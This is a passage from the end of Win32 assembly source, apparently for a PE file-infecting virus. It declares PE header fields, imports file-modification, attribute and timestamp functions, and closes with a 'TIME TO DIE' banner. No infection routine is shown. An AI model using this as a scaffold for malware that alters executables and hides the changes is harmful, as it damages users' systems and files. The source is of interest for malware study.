Var PE_FixUpTableRVA,DWord
|
|
Var PE_FixUpDataSz ,DWord
|
|
Var PE_DebugTableRVA,DWord
|
|
Var PE_DebugDataSz ,DWord
|
|
Var PE_ImageDescrRVA,DWord
|
|
Var PE_DescriptionSz,DWord
|
|
Var PE_MachineSpecRVA,DWord
|
|
Var PE_MachineSpecSz,DWord
|
|
Var PE_TLSRVA ,DWord
|
|
Var PE_TLSSz ,DWord
|
|
Var PE_R0 ,30h
|
|
PEHeaderSize = _VarAddr-PEHeaderBegin
|
|
|
|
If PEHeaderSize NE 0F8h
|
|
.Err 'PEHeader described incorrectly!'
|
|
EndIf
|
|
;BreakCodeLine
|
|
;StopCode
|
|
Var VeryLargeBuffer ,0h ; Rest of memory ;-)
|
|
|
|
; ---------------------------------------------------------
|
|
_VarAddr = 0h
|
|
Var ConvertVar ,4*4 ; Tiny Stack variables
|
|
Var SmallBuffer ,0h ; (memory buffer)
|
|
|
|
; ---------------------------------------------------------
|
|
;StartData
|
|
Extern MessageBoxA:Proc ; External functions
|
|
Extern CreateFileA:Proc ; which imported
|
|
Extern SetFilePointer:Proc ; form some system
|
|
Extern CloseHandle:Proc ; DLL's (providers
|
|
Extern ReadFile:Proc ; of this functions)
|
|
Extern WriteFile:Proc
|
|
Extern SetFilePointer:Proc
|
|
Extern GetFileAttributesA:Proc
|
|
Extern SetFileAttributesA:Proc
|
|
Extern GetFileTime:Proc
|
|
Extern SetFileTime:Proc
|
|
Extern CopyFileA:Proc
|
|
Extern MoveFileA:Proc
|
|
Extern GetEnvironmentStringsA:Proc
|
|
Extern MessageBeep:Proc
|
|
Extern FileTimeToSystemTime:Proc
|
|
Extern SystemTimeToFileTime:Proc
|
|
Extern GetSystemTime:Proc
|
|
Extern GetSystemDirectoryA:Proc
|
|
;StopData
|
|
|
|
; ---------------------------------------------------------
|
|
End Start
|
|
|
|
; *==================================================================*
|
|
; ! T I M E T O D I E !
|
|
; *==================================================================*
|